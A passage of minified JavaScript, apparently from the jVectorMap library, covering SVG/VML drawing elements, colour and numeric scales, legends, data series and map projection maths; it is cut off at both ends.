temp,(child.prototype.constructor=child).parentClass=parent},mixin:function(target,source){var prop;for(prop in source.prototype)source.prototype.hasOwnProperty(prop)&&(target.prototype[prop]=source.prototype[prop])},min:function(values){var i,min=Number.MAX_VALUE;if(values instanceof Array)for(i=0;i<values.length;i++)values[i]<min&&(min=values[i]);else for(i in values)values[i]<min&&(min=values[i]);return min},max:function(values){var i,max=Number.MIN_VALUE;if(values instanceof Array)for(i=0;i<values.length;i++)values[i]>max&&(max=values[i]);else for(i in values)values[i]>max&&(max=values[i]);return max},keys:function(object){var key,keys=[];for(key in object)keys.push(key);return keys},values:function(object){var key,i,values=[];for(i=0;i<arguments.length;i++)for(key in object=arguments[i])values.push(object[key]);return values},whenImageLoaded:function(url){var deferred=new jvm.$.Deferred,img=jvm.$("<img/>");return img.on("error",function(){deferred.reject()}).on("load",function(){deferred.resolve(img)}),img.attr("src",url),deferred},isImageUrl:function(s){return/\.\w{3,4}$/.test(s)}};jvm.$=jQuery,Array.prototype.indexOf||(Array.prototype.indexOf=function(searchElement,fromIndex){var k;if(null==this)throw new TypeError('"this" is null or not defined');var O=Object(this),len=O.length>>>0;if(0==len)return-1;var n=+fromIndex||0;if(Math.abs(n)===1/0&&(n=0),len<=n)return-1;for(k=Math.max(0<=n?n:len-Math.abs(n),0);k<len;){if(k in O&&O[k]===searchElement)return k;k++}return-1}),jvm.AbstractElement=function(name,config){this.node=this.createElement(name),this.name=name,this.properties={},config&&this.set(config)},jvm.AbstractElement.prototype.set=function(property,value){var key;if("object"==typeof property)for(key in property)this.properties[key]=property[key],this.applyAttr(key,property[key]);else this.properties[property]=value,this.applyAttr(property,value)},jvm.AbstractElement.prototype.get=function(property){return this.properties[property]},jvm.AbstractElement.prototype.applyAttr=function(property,value){this.node.setAttribute(property,value)},jvm.AbstractElement.prototype.remove=function(){jvm.$(this.node).remove()},jvm.AbstractCanvasElement=function(container,width,height){this.container=container,this.setSize(width,height),this.rootElement=new jvm[this.classPrefix+"GroupElement"],this.node.appendChild(this.rootElement.node),this.container.appendChild(this.node)},jvm.AbstractCanvasElement.prototype.add=function(element,group){(group=group||this.rootElement).add(element),element.canvas=this},jvm.AbstractCanvasElement.prototype.addPath=function(config,style,group){var el=new jvm[this.classPrefix+"PathElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addCircle=function(config,style,group){var el=new jvm[this.classPrefix+"CircleElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addImage=function(config,style,group){var el=new jvm[this.classPrefix+"ImageElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addText=function(config,style,group){var el=new jvm[this.classPrefix+"TextElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addGroup=function(parentGroup){var el=new jvm[this.classPrefix+"GroupElement"];return parentGroup?parentGroup.node.appendChild(el.node):this.node.appendChild(el.node),el.canvas=this,el},jvm.AbstractShapeElement=function(name,config,style){this.style=style||{},this.style.current=this.style.current||{},this.isHovered=!1,this.isSelected=!1,this.updateStyle()},jvm.AbstractShapeElement.prototype.setStyle=function(property,value){var styles={};"object"==typeof property?styles=property:styles[property]=value,jvm.$.extend(this.style.current,styles),this.updateStyle()},jvm.AbstractShapeElement.prototype.updateStyle=function(){var attrs={};jvm.AbstractShapeElement.mergeStyles(attrs,this.style.initial),jvm.AbstractShapeElement.mergeStyles(attrs,this.style.current),this.isHovered&&jvm.AbstractShapeElement.mergeStyles(attrs,this.style.hover),this.isSelected&&(jvm.AbstractShapeElement.mergeStyles(attrs,this.style.selected),this.isHovered&&jvm.AbstractShapeElement.mergeStyles(attrs,this.style.selectedHover)),this.set(attrs)},jvm.AbstractShapeElement.mergeStyles=function(styles,newStyles){var key;for(key in newStyles=newStyles||{})null===newStyles[key]?delete styles[key]:styles[key]=newStyles[key]},jvm.SVGElement=function(name,config){jvm.SVGElement.parentClass.apply(this,arguments)},jvm.inherits(jvm.SVGElement,jvm.AbstractElement),jvm.SVGElement.svgns="http://www.w3.org/2000/svg",jvm.SVGElement.prototype.createElement=function(tagName){return document.createElementNS(jvm.SVGElement.svgns,tagName)},jvm.SVGElement.prototype.addClass=function(className){this.node.setAttribute("class",className)},jvm.SVGElement.prototype.getElementCtr=function(ctr){return jvm["SVG"+ctr]},jvm.SVGElement.prototype.getBBox=function(){return this.node.getBBox()},jvm.SVGGroupElement=function(){jvm.SVGGroupElement.parentClass.call(this,"g")},jvm.inherits(jvm.SVGGroupElement,jvm.SVGElement),jvm.SVGGroupElement.prototype.add=function(element){this.node.appendChild(element.node)},jvm.SVGCanvasElement=function(container,width,height){this.classPrefix="SVG",jvm.SVGCanvasElement.parentClass.call(this,"svg"),this.defsElement=new jvm.SVGElement("defs"),this.node.appendChild(this.defsElement.node),jvm.AbstractCanvasElement.apply(this,arguments)},jvm.inherits(jvm.SVGCanvasElement,jvm.SVGElement),jvm.mixin(jvm.SVGCanvasElement,jvm.AbstractCanvasElement),jvm.SVGCanvasElement.prototype.setSize=function(width,height){this.width=width,this.height=height,this.node.setAttribute("width",width),this.node.setAttribute("height",height)},jvm.SVGCanvasElement.prototype.applyTransformParams=function(scale,transX,transY){this.scale=scale,this.transX=transX,this.transY=transY,this.rootElement.node.setAttribute("transform","scale("+scale+") translate("+transX+", "+transY+")")},jvm.SVGShapeElement=function(name,config,style){jvm.SVGShapeElement.parentClass.call(this,name,config),jvm.AbstractShapeElement.apply(this,arguments)},jvm.inherits(jvm.SVGShapeElement,jvm.SVGElement),jvm.mixin(jvm.SVGShapeElement,jvm.AbstractShapeElement),jvm.SVGShapeElement.prototype.applyAttr=function(attr,value){var patternEl,imageEl,that=this;"fill"===attr&&jvm.isImageUrl(value)?jvm.SVGShapeElement.images[value]?this.applyAttr("fill","url(#image"+jvm.SVGShapeElement.images[value]+")"):jvm.whenImageLoaded(value).then(function(img){(imageEl=new jvm.SVGElement("image")).node.setAttributeNS("http://www.w3.org/1999/xlink","href",value),imageEl.applyAttr("x","0"),imageEl.applyAttr("y","0"),imageEl.applyAttr("width",img[0].width),imageEl.applyAttr("height",img[0].height),(patternEl=new jvm.SVGElement("pattern")).applyAttr("id","image"+jvm.SVGShapeElement.imageCounter),patternEl.applyAttr("x",0),patternEl.applyAttr("y",0),patternEl.applyAttr("width",img[0].width/2),patternEl.applyAttr("height",img[0].height/2),patternEl.applyAttr("viewBox","0 0 "+img[0].width+" "+img[0].height),patternEl.applyAttr("patternUnits","userSpaceOnUse"),patternEl.node.appendChild(imageEl.node),that.canvas.defsElement.node.appendChild(patternEl.node),jvm.SVGShapeElement.images[value]=jvm.SVGShapeElement.imageCounter++,that.applyAttr("fill","url(#image"+jvm.SVGShapeElement.images[value]+")")}):jvm.SVGShapeElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.SVGShapeElement.imageCounter=1,jvm.SVGShapeElement.images={},jvm.SVGPathElement=function(config,style){jvm.SVGPathElement.parentClass.call(this,"path",config,style),this.node.setAttribute("fill-rule","evenodd")},jvm.inherits(jvm.SVGPathElement,jvm.SVGShapeElement),jvm.SVGCircleElement=function(config,style){jvm.SVGCircleElement.parentClass.call(this,"circle",config,style)},jvm.inherits(jvm.SVGCircleElement,jvm.SVGShapeElement),jvm.SVGImageElement=function(config,style){jvm.SVGImageElement.parentClass.call(this,"image",config,style)},jvm.inherits(jvm.SVGImageElement,jvm.SVGShapeElement),jvm.SVGImageElement.prototype.applyAttr=function(attr,value){var imageUrl,that=this;"image"==attr?("object"==typeof value?(imageUrl=value.url,this.offset=value.offset):(imageUrl=value,this.offset=[0,0]),jvm.whenImageLoaded(imageUrl).then(function(img){that.node.setAttributeNS("http://www.w3.org/1999/xlink","href",imageUrl),that.width=img[0].width,that.height=img[0].height,that.applyAttr("width",that.width),that.applyAttr("height",that.height),that.applyAttr("x",that.cx-that.width/2+that.offset[0]),that.applyAttr("y",that.cy-that.height/2+that.offset[1]),jvm.$(that.node).trigger("imageloaded",[img])})):"cx"==attr?(this.cx=value,this.width&&this.applyAttr("x",value-this.width/2+this.offset[0])):"cy"==attr?(this.cy=value,this.height&&this.applyAttr("y",value-this.height/2+this.offset[1])):jvm.SVGImageElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.SVGTextElement=function(config,style){jvm.SVGTextElement.parentClass.call(this,"text",config,style)},jvm.inherits(jvm.SVGTextElement,jvm.SVGShapeElement),jvm.SVGTextElement.prototype.applyAttr=function(attr,value){"text"===attr?this.node.textContent=value:jvm.SVGTextElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.VMLElement=function(name,config){jvm.VMLElement.VMLInitialized||jvm.VMLElement.initializeVML(),jvm.VMLElement.parentClass.apply(this,arguments)},jvm.inherits(jvm.VMLElement,jvm.AbstractElement),jvm.VMLElement.VMLInitialized=!1,jvm.VMLElement.initializeVML=function(){try{document.namespaces.rvml||document.namespaces.add("rvml","urn:schemas-microsoft-com:vml"),jvm.VMLElement.prototype.createElement=function(tagName){return document.createElement("<rvml:"+tagName+' class="rvml">')}}catch(e){jvm.VMLElement.prototype.createElement=function(tagName){return document.createElement("<"+tagName+' xmlns="urn:schemas-microsoft.com:vml" class="rvml">')}}document.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)"),jvm.VMLElement.VMLInitialized=!0},jvm.VMLElement.prototype.getElementCtr=function(ctr){return jvm["VML"+ctr]},jvm.VMLElement.prototype.addClass=function(className){jvm.$(this.node).addClass(className)},jvm.VMLElement.prototype.applyAttr=function(attr,value){this.node[attr]=value},jvm.VMLElement.prototype.getBBox=function(){var node=jvm.$(this.node);return{x:node.position().left/this.canvas.scale,y:node.position().top/this.canvas.scale,width:node.width()/this.canvas.scale,height:node.height()/this.canvas.scale}},jvm.VMLGroupElement=function(){jvm.VMLGroupElement.parentClass.call(this,"group"),this.node.style.left="0px",this.node.style.top="0px",this.node.coordorigin="0 0"},jvm.inherits(jvm.VMLGroupElement,jvm.VMLElement),jvm.VMLGroupElement.prototype.add=function(element){this.node.appendChild(element.node)},jvm.VMLCanvasElement=function(container,width,height){this.classPrefix="VML",jvm.VMLCanvasElement.parentClass.call(this,"group"),jvm.AbstractCanvasElement.apply(this,arguments),this.node.style.position="absolute"},jvm.inherits(jvm.VMLCanvasElement,jvm.VMLElement),jvm.mixin(jvm.VMLCanvasElement,jvm.AbstractCanvasElement),jvm.VMLCanvasElement.prototype.setSize=function(width,height){var paths,groups,i,l;if(this.width=width,this.height=height,this.node.style.width=width+"px",this.node.style.height=height+"px",this.node.coordsize=width+" "+height,this.node.coordorigin="0 0",this.rootElement){for(i=0,l=(paths=this.rootElement.node.getElementsByTagName("shape")).length;i<l;i++)paths[i].coordsize=width+" "+height,paths[i].style.width=width+"px",paths[i].style.height=height+"px";for(i=0,l=(groups=this.node.getElementsByTagName("group")).length;i<l;i++)groups[i].coordsize=width+" "+height,groups[i].style.width=width+"px",groups[i].style.height=height+"px"}},jvm.VMLCanvasElement.prototype.applyTransformParams=function(scale,transX,transY){this.scale=scale,this.transX=transX,this.transY=transY,this.rootElement.node.coordorigin=this.width-transX-this.width/100+","+(this.height-transY-this.height/100),this.rootElement.node.coordsize=this.width/scale+","+this.height/scale},jvm.VMLShapeElement=function(name,config){jvm.VMLShapeElement.parentClass.call(this,name,config),this.fillElement=new jvm.VMLElement("fill"),this.strokeElement=new jvm.VMLElement("stroke"),this.node.appendChild(this.fillElement.node),this.node.appendChild(this.strokeElement.node),this.node.stroked=!1,jvm.AbstractShapeElement.apply(this,arguments)},jvm.inherits(jvm.VMLShapeElement,jvm.VMLElement),jvm.mixin(jvm.VMLShapeElement,jvm.AbstractShapeElement),jvm.VMLShapeElement.prototype.applyAttr=function(attr,value){switch(attr){case"fill":this.node.fillcolor=value;break;case"fill-opacity":this.fillElement.node.opacity=Math.round(100*value)+"%";break;case"stroke":this.node.stroked="none"!==value,this.node.strokecolor=value;break;case"stroke-opacity":this.strokeElement.node.opacity=Math.round(100*value)+"%";break;case"stroke-width":0===parseInt(value,10)?this.node.stroked=!1:this.node.stroked=!0,this.node.strokeweight=value;break;case"d":this.node.path=jvm.VMLPathElement.pathSvgToVml(value);break;default:jvm.VMLShapeElement.parentClass.prototype.applyAttr.apply(this,arguments)}},jvm.VMLPathElement=function(config,style){var scale=new jvm.VMLElement("skew");jvm.VMLPathElement.parentClass.call(this,"shape",config,style),this.node.coordorigin="0 0",scale.node.on=!0,scale.node.matrix="0.01,0,0,0.01,0,0",scale.node.offset="0,0",this.node.appendChild(scale.node)},jvm.inherits(jvm.VMLPathElement,jvm.VMLShapeElement),jvm.VMLPathElement.prototype.applyAttr=function(attr,value){"d"===attr?this.node.path=jvm.VMLPathElement.pathSvgToVml(value):jvm.VMLShapeElement.prototype.applyAttr.call(this,attr,value)},jvm.VMLPathElement.pathSvgToVml=function(path){var ctrlx,ctrly,cx=0,cy=0;return(path=path.replace(/(-?\d+)e(-?\d+)/g,"0")).replace(/([MmLlHhVvCcSs])\s*((?:-?\d*(?:\.\d+)?\s*,?\s*)+)/g,function(segment,letter,coords,index){(coords=coords.replace(/(\d)-/g,"$1,-").replace(/^\s+/g,"").replace(/\s+$/g,"").replace(/\s+/g,",").split(","))[0]||coords.shift();for(var i=0,l=coords.length;i<l;i++)coords[i]=Math.round(100*coords[i]);switch(letter){case"m":return cx+=coords[0],cy+=coords[1],"t"+coords.join(",");case"M":return cx=coords[0],cy=coords[1],"m"+coords.join(",");case"l":return cx+=coords[0],cy+=coords[1],"r"+coords.join(",");case"L":return cx=coords[0],cy=coords[1],"l"+coords.join(",");case"h":return cx+=coords[0],"r"+coords[0]+",0";case"H":return"l"+(cx=coords[0])+","+cy;case"v":return cy+=coords[0],"r0,"+coords[0];case"V":return cy=coords[0],"l"+cx+","+cy;case"c":return ctrlx=cx+coords[coords.length-4],ctrly=cy+coords[coords.length-3],cx+=coords[coords.length-2],cy+=coords[coords.length-1],"v"+coords.join(",");case"C":return ctrlx=coords[coords.length-4],ctrly=coords[coords.length-3],cx=coords[coords.length-2],cy=coords[coords.length-1],"c"+coords.join(",");case"s":return coords.unshift(cy-ctrly),coords.unshift(cx-ctrlx),ctrlx=cx+coords[coords.length-4],ctrly=cy+coords[coords.length-3],cx+=coords[coords.length-2],cy+=coords[coords.length-1],"v"+coords.join(",");case"S":return coords.unshift(cy+cy-ctrly),coords.unshift(cx+cx-ctrlx),ctrlx=coords[coords.length-4],ctrly=coords[coords.length-3],cx=coords[coords.length-2],cy=coords[coords.length-1],"c"+coords.join(",")}return""}).replace(/z/g,"e")},jvm.VMLCircleElement=function(config,style){jvm.VMLCircleElement.parentClass.call(this,"oval",config,style)},jvm.inherits(jvm.VMLCircleElement,jvm.VMLShapeElement),jvm.VMLCircleElement.prototype.applyAttr=function(attr,value){switch(attr){case"r":this.node.style.width=2*value+"px",this.node.style.height=2*value+"px",this.applyAttr("cx",this.get("cx")||0),this.applyAttr("cy",this.get("cy")||0);break;case"cx":if(!value)return;this.node.style.left=value-(this.get("r")||0)+"px";break;case"cy":if(!value)return;this.node.style.top=value-(this.get("r")||0)+"px";break;default:jvm.VMLCircleElement.parentClass.prototype.applyAttr.call(this,attr,value)}},jvm.VectorCanvas=function(container,width,height){return this.mode=window.SVGAngle?"svg":"vml","svg"==this.mode?this.impl=new jvm.SVGCanvasElement(container,width,height):this.impl=new jvm.VMLCanvasElement(container,width,height),this.impl.mode=this.mode,this.impl},jvm.SimpleScale=function(scale){this.scale=scale},jvm.SimpleScale.prototype.getValue=function(value){return value},jvm.OrdinalScale=function(scale){this.scale=scale},jvm.OrdinalScale.prototype.getValue=function(value){return this.scale[value]},jvm.OrdinalScale.prototype.getTicks=function(){var key,ticks=[];for(key in this.scale)ticks.push({label:key,value:this.scale[key]});return ticks},jvm.NumericScale=function(scale,normalizeFunction,minValue,maxValue){this.scale=[],normalizeFunction=normalizeFunction||"linear",scale&&this.setScale(scale),normalizeFunction&&this.setNormalizeFunction(normalizeFunction),void 0!==minValue&&this.setMin(minValue),void 0!==maxValue&&this.setMax(maxValue)},jvm.NumericScale.prototype={setMin:function(min){this.clearMinValue=min,"function"==typeof this.normalize?this.minValue=this.normalize(min):this.minValue=min},setMax:function(max){this.clearMaxValue=max,"function"==typeof this.normalize?this.maxValue=this.normalize(max):this.maxValue=max},setScale:function(scale){var i;for(this.scale=[],i=0;i<scale.length;i++)this.scale[i]=[scale[i]]},setNormalizeFunction:function(f){"polynomial"===f?this.normalize=function(value){return Math.pow(value,.2)}:"linear"===f?delete this.normalize:this.normalize=f,this.setMin(this.clearMinValue),this.setMax(this.clearMaxValue)},getValue:function(value){var l,c,lengthes=[],fullLength=0,i=0;for("function"==typeof this.normalize&&(value=this.normalize(value)),i=0;i<this.scale.length-1;i++)l=this.vectorLength(this.vectorSubtract(this.scale[i+1],this.scale[i])),lengthes.push(l),fullLength+=l;for(c=(this.maxValue-this.minValue)/fullLength,i=0;i<lengthes.length;i++)lengthes[i]*=c;for(i=0,value-=this.minValue;0<=value-lengthes[i];)value-=lengthes[i],i++;return value=i==this.scale.length-1?this.vectorToNum(this.scale[i]):this.vectorToNum(this.vectorAdd(this.scale[i],this.vectorMult(this.vectorSubtract(this.scale[i+1],this.scale[i]),value/lengthes[i])))},vectorToNum:function(vector){var i,num=0;for(i=0;i<vector.length;i++)num+=Math.round(vector[i])*Math.pow(256,vector.length-i-1);return num},vectorSubtract:function(vector1,vector2){var i,vector=[];for(i=0;i<vector1.length;i++)vector[i]=vector1[i]-vector2[i];return vector},vectorAdd:function(vector1,vector2){var i,vector=[];for(i=0;i<vector1.length;i++)vector[i]=vector1[i]+vector2[i];return vector},vectorMult:function(vector,num){var i,result=[];for(i=0;i<vector.length;i++)result[i]=vector[i]*num;return result},vectorLength:function(vector){var i,result=0;for(i=0;i<vector.length;i++)result+=vector[i]*vector[i];return Math.sqrt(result)},getTicks:function(){var tick,v,extent=[this.clearMinValue,this.clearMaxValue],span=extent[1]-extent[0],step=Math.pow(10,Math.floor(Math.log(span/5)/Math.LN10)),err=5/span*step,ticks=[];for(err<=.15?step*=10:err<=.35?step*=5:err<=.75&&(step*=2),extent[0]=Math.floor(extent[0]/step)*step,extent[1]=Math.ceil(extent[1]/step)*step,tick=extent[0];tick<=extent[1];)v=tick==extent[0]?this.clearMinValue:tick==extent[1]?this.clearMaxValue:tick,ticks.push({label:tick,value:this.getValue(v)}),tick+=step;return ticks}},jvm.ColorScale=function(colors,normalizeFunction,minValue,maxValue){jvm.ColorScale.parentClass.apply(this,arguments)},jvm.inherits(jvm.ColorScale,jvm.NumericScale),jvm.ColorScale.prototype.setScale=function(scale){var i;for(i=0;i<scale.length;i++)this.scale[i]=jvm.ColorScale.rgbToArray(scale[i])},jvm.ColorScale.prototype.getValue=function(value){return jvm.ColorScale.numToRgb(jvm.ColorScale.parentClass.prototype.getValue.call(this,value))},jvm.ColorScale.arrayToRgb=function(ar){var d,i,rgb="#";for(i=0;i<ar.length;i++)rgb+=1==(d=ar[i].toString(16)).length?"0"+d:d;return rgb},jvm.ColorScale.numToRgb=function(num){for(num=num.toString(16);num.length<6;)num="0"+num;return"#"+num},jvm.ColorScale.rgbToArray=function(rgb){return rgb=rgb.substr(1),[parseInt(rgb.substr(0,2),16),parseInt(rgb.substr(2,2),16),parseInt(rgb.substr(4,2),16)]},jvm.Legend=function(params){this.params=params||{},this.map=this.params.map,this.series=this.params.series,this.body=jvm.$("<div/>"),this.body.addClass("jvectormap-legend"),this.params.cssClass&&this.body.addClass(this.params.cssClass),params.vertical?this.map.legendCntVertical.append(this.body):this.map.legendCntHorizontal.append(this.body),this.render()},jvm.Legend.prototype.render=function(){var i,tick,sample,label,ticks=this.series.scale.getTicks(),inner=jvm.$("<div/>").addClass("jvectormap-legend-inner");for(this.body.html(""),this.params.title&&this.body.append(jvm.$("<div/>").addClass("jvectormap-legend-title").html(this.params.title)),this.body.append(inner),i=0;i<ticks.length;i++){switch(tick=jvm.$("<div/>").addClass("jvectormap-legend-tick"),sample=jvm.$("<div/>").addClass("jvectormap-legend-tick-sample"),this.series.params.attribute){case"fill":jvm.isImageUrl(ticks[i].value)?sample.css("background","url("+ticks[i].value+")"):sample.css("background",ticks[i].value);break;case"stroke":sample.css("background",ticks[i].value);break;case"image":sample.css("background","url("+("object"==typeof ticks[i].value?ticks[i].value.url:ticks[i].value)+") no-repeat center center");break;case"r":jvm.$("<div/>").css({"border-radius":ticks[i].value,border:this.map.params.markerStyle.initial["stroke-width"]+"px "+this.map.params.markerStyle.initial.stroke+" solid",width:2*ticks[i].value+"px",height:2*ticks[i].value+"px",background:this.map.params.markerStyle.initial.fill}).appendTo(sample)}tick.append(sample),label=ticks[i].label,this.params.labelRender&&(label=this.params.labelRender(label)),tick.append(jvm.$("<div>"+label+" </div>").addClass("jvectormap-legend-tick-text")),inner.append(tick)}inner.append(jvm.$("<div/>").css("clear","both"))},jvm.DataSeries=function(params,elements,map){var scaleConstructor;(params=params||{}).attribute=params.attribute||"fill",this.elements=elements,this.params=params,this.map=map,params.attributes&&this.setAttributes(params.attributes),jvm.$.isArray(params.scale)?(scaleConstructor="fill"===params.attribute||"stroke"===params.attribute?jvm.ColorScale:jvm.NumericScale,this.scale=new scaleConstructor(params.scale,params.normalizeFunction,params.min,params.max)):params.scale?this.scale=new jvm.OrdinalScale(params.scale):this.scale=new jvm.SimpleScale(params.scale),this.values=params.values||{},this.setValues(this.values),this.params.legend&&(this.legend=new jvm.Legend(jvm.$.extend({map:this.map,series:this},this.params.legend)))},jvm.DataSeries.prototype={setAttributes:function(key,attr){var code,attrs=key;if("string"==typeof key)this.elements[key]&&this.elements[key].setStyle(this.params.attribute,attr);else for(code in attrs)this.elements[code]&&this.elements[code].element.setStyle(this.params.attribute,attrs[code])},setValues:function(values){var val,cc,max=-Number.MAX_VALUE,min=Number.MAX_VALUE,attrs={};if(this.scale instanceof jvm.OrdinalScale||this.scale instanceof jvm.SimpleScale)for(cc in values)values[cc]?attrs[cc]=this.scale.getValue(values[cc]):attrs[cc]=this.elements[cc].element.style.initial[this.params.attribute];else{if(void 0===this.params.min||void 0===this.params.max)for(cc in values)max<(val=parseFloat(values[cc]))&&(max=val),val<min&&(min=val);for(cc in void 0===this.params.min?(this.scale.setMin(min),this.params.min=min):this.scale.setMin(this.params.min),void 0===this.params.max?(this.scale.setMax(max),this.params.max=max):this.scale.setMax(this.params.max),values)"indexOf"!=cc&&(val=parseFloat(values[cc]),isNaN(val)?attrs[cc]=this.elements[cc].element.style.initial[this.params.attribute]:attrs[cc]=this.scale.getValue(val))}this.setAttributes(attrs),jvm.$.extend(this.values,values)},clear:function(){var key,attrs={};for(key in this.values)this.elements[key]&&(attrs[key]=this.elements[key].element.shape.style.initial[this.params.attribute]);this.setAttributes(attrs),this.values={}},setScale:function(scale){this.scale.setScale(scale),this.values&&this.setValues(this.values)},setNormalizeFunction:function(f){this.scale.setNormalizeFunction(f),this.values&&this.setValues(this.values)}},jvm.Proj={degRad:180/Math.PI,radDeg:Math.PI/180,radius:6381372,sgn:function(n){return 0<n?1:n<0?-1:n},mill:function(lat,lng,c){return{x:this.radius*(lng-c)*this.radDeg,y:-this.radius*Math.log(Math.tan((45+.4*lat)*this.radDeg))/.8}},mill_inv:function(x,y,c){return{lat:(2.5*Math.atan(Math.exp(.8*y/this.radius))-5*Math.PI/8)*this.degRad,lng:(c*this.radDeg+x/this.radius)*this.degRad}},merc:function(lat,lng,c){return{x:this.radius*(lng-c)*this.radDeg,y:-this.radius*Math.log(Math.tan(Math.PI/4+lat*Math.PI/360))}},merc_inv:function(x,y,c){return{lat:(2*Math.atan(Math.exp(y/this.radius))-Math.PI/2)*this.degRad,lng:(c*this.radDeg+x/this.radius)*this.degRad}},aea:function(lat,lng,c){var lambda0=c*this.radDeg,fi1=29.5*this.radDeg,fi2=45.5*this.radDeg,fi=lat*this.radDeg,lambda=lng*this.radDeg,n=(Math.sin(fi1)+Math.sin(fi2))/2,C=Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),theta=n*(lambda-lambda0),ro=Math.sqrt(C-2*n*Math.sin(fi))/n,ro0=Math.sqrt(C-2*n*Math.sin(0))/n;return{x:ro*Math.sin(theta)*this.radius,y:-(ro0-ro*Math.cos(theta))*this.radius}},aea_inv:function(xCoord,yCoord,c){var x=xCoord/this.radius,y=yCoord/this.radius,lambda0=c*this.radDeg,fi1=29.5*this.radDeg,fi2=45.5*this.radDeg,n=(Math.sin(fi1)+Math.sin(fi2))/2,C=Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),ro0=Math.sqrt(C-2*n*Math.sin(0))/n,ro=Math.sqrt(x*x+(ro0-y)*(ro0-y)),theta=Math.atan(x/(ro0-y));return{lat:Math.asin((C-ro*ro*n*n)/(2*n))*this.degRad,lng:(lambda0+theta/n)*this.degRad}},lcc:function(lat,lng,c){var lambda0=c*this.radDeg,lambda=lng*this.radDeg,fi1=33*this.radDeg,fi2=45*this.radDeg,fi=lat*this.radDeg,n=Math.log(Math.cos(fi1)*(1/Math.cos(fi2)))/Math.log(Math.tan(Math.PI/4+fi2/2)*(1/Math.tan(Math.PI/4+fi1/2))),F=Math.cos(fi1)*Math.pow(Math.tan(Math.PI/4+fi1/2),n)/n,ro=F*Math.pow(1/Math.tan(Math.PI/4+fi/2),n),ro0=F*Math.pow(1/Math.tan(Math.PI/4+0),n);return{x:ro*Math.sin(n*(lambda-lambda0))*this.radius,y:-(ro0-ro*Math.cos(n*(lambda-lambda0)))*this.radius}},lcc_inv:function(xCoord,yCoord,c){var x=xCoord/this.radius,y=yCoord/this.radius,lambda0=c*this.radDeg,fi1=33*this.radDeg,fi2=45*this.radDeg,n=Math.log(Math.cos(fi1)*(1/Math.cos(fi2)))/Math.log(Math.tan(Math.PI/4+fi2/2)*(1/Math.tan(Math.PI/4+fi1/2))),F=Math.cos(fi1)*Math.pow(Math.tan(Math.PI/4+fi1/2),n)/n,ro0=F*Math.pow(1/Math.tan(Math.PI/4+0),n),ro=this.sgn(n)*Math.sqrt(x*x+(ro0-y)*(ro0-y)),theta=Math.atan(x/(ro0-y));return{lat:(2*Math.atan(Math.pow(F/ro,1/n))-Math.PI/2)*this.degRad,lng:(lambda0+theta/n)*this.degRad}}},jvm.MapObject=function(config){},jvm.MapObject.prototype.getLabelText=function(key){return this.config.label?"function"==typeof this.config.label.render?this.config.label.render(key):key:null},jvm.MapObject.prototype.getLabelOffsets=function(key){var offsets;return this.config.label&&("function"==typeof this.config.label.offsets?offsets=this.config.label.offsets(key):"object"==typeof this.config.label.offsets&&(offsets=this.config.label.offsets[key])),offsets||[0,0]},jvm.MapObject.prototype.setHovered=function(isHovered){this.isHovered!==isHovered&&(this.isHovered=isHovered,this.shape.isHovered=isHovered,this.shape.updateStyle(),this.label&&(this.label.isHovered=isHovered,this.label.updateStyle()))},jvm.MapObject.prototype.setSelected=function(isSelected){this.isSelected!==isSelected&&(this.isSelected=isSelected,this.shape.isSelected=isSelected,this.shape.updateStyle(),this.label&&(this.label.isSelected=isSelected,this.label.updateStyle()),jvm.$(this.shape).trigger("selected",[isSelected]))},jvm.MapObject.prototype.setStyle=function(){this.shape.setStyle.apply(this.shape,arguments)},jvm.MapObject.prototype.remove=function(){this.shape.remove(),this.label&&this.label.remove()},jvm.Region=function(config){var bbox,text,offsets;this.config=config,this.map=this.config.map,this.shape=config.canvas.addPath({d:config.path,"data-code":config.code},config.style,config.canvas.rootElement),this.shape.addClass("jvectormap-region jvectormap-element"),bbox=this.shape.getBBox(),text=this.getLabelText(config.code),this.config.label&&text&&(offsets=this.getLabelOffsets(config.code),this.labelX=bbox.x+bbox.width/2+offsets[0],this.labelY=bbox.y+bbox.height/2+offsets[1],this.label=config.canvas.addText({text:text,"text-anchor":"middle","alignment-baseline":"central",x:this.labelX,y:this.labelY,"data-code":config.code},config.labelStyle,config.labelsGroup),this.label.addClass("jvectormap-region jvectormap-element"))},jvm.inherits(jvm.Region,jvm.MapObject),jvm.Region.prototype.updateLabelPosition=function(){this.label&&this.label.set({x:this.labelX*this.map.scale+this.map.transX*this.map.scale,y:this.labelY*this.map.scale+this.map.transY*this.map.scale})},jvm.Marker=function(config){var text;this.config=config,this.map=this.config.map,this.isImage=!!this.config.style.initial.image,this.createShape(),text=this.getLabelText(config.index),this.config.label&&text&&(this.offsets=this.getLabelOffsets(config.index),this.labelX=config.cx/this.map.scale-this.map.transX,this.labelY=config.cy/this.map.scale-this.map.transY,this.label=config.canvas.addText({text:text,"data-index":config.index,dy:"0.6ex",x:this.labelX,y:this.labelY},config.labelStyle,config.labelsGroup),this.label.addClass("jvectormap-marker jvectormap-element"))},jvm.inherits(jvm.Marker,jvm.MapObject),jvm.Marker.prototype.createShape=function(){var that=this;this.shape&&this.shape.remove(),this.shape=this.config.canvas[this.isImage?"addImage":"addCircle"]({"data-index":this.config.index,cx:this.config.cx,cy:this.config.cy},this.config.style,this.config.group),this.shape.addClass("jvectormap-marker jvectormap-element"),this.isImage&&jvm.$(this.shape.node).on("imageloaded",function(){that.updateLabelPosition()})},jvm.Marker.prototype.updateLabelPosition=function(){this.label&&this.label.set({x:this.labelX*this.map.scale+this.offsets[0]+this.map.transX*this.map.scale+5+(this.isImage?(this.shape.width||0)/2:this.shape.properties.r),y:this.labelY*this.map.scale+this.map.transY*this.map.scale+this.offsets[1]})},jvm.Marker.prototype.setStyle=function(property,value){var isImage;jvm.Marker.parentClass.prototype.setStyle.apply(this,arguments),"r"===property&&this.updateLabelPosition(),(isImage=!!this.shape.get("image"))!=this.isImage&&(this.isImage=isImage,this.config.style=jvm.$.extend(!0,{},this.shape.style),this.createShape())},jvm.Map=function(params){var 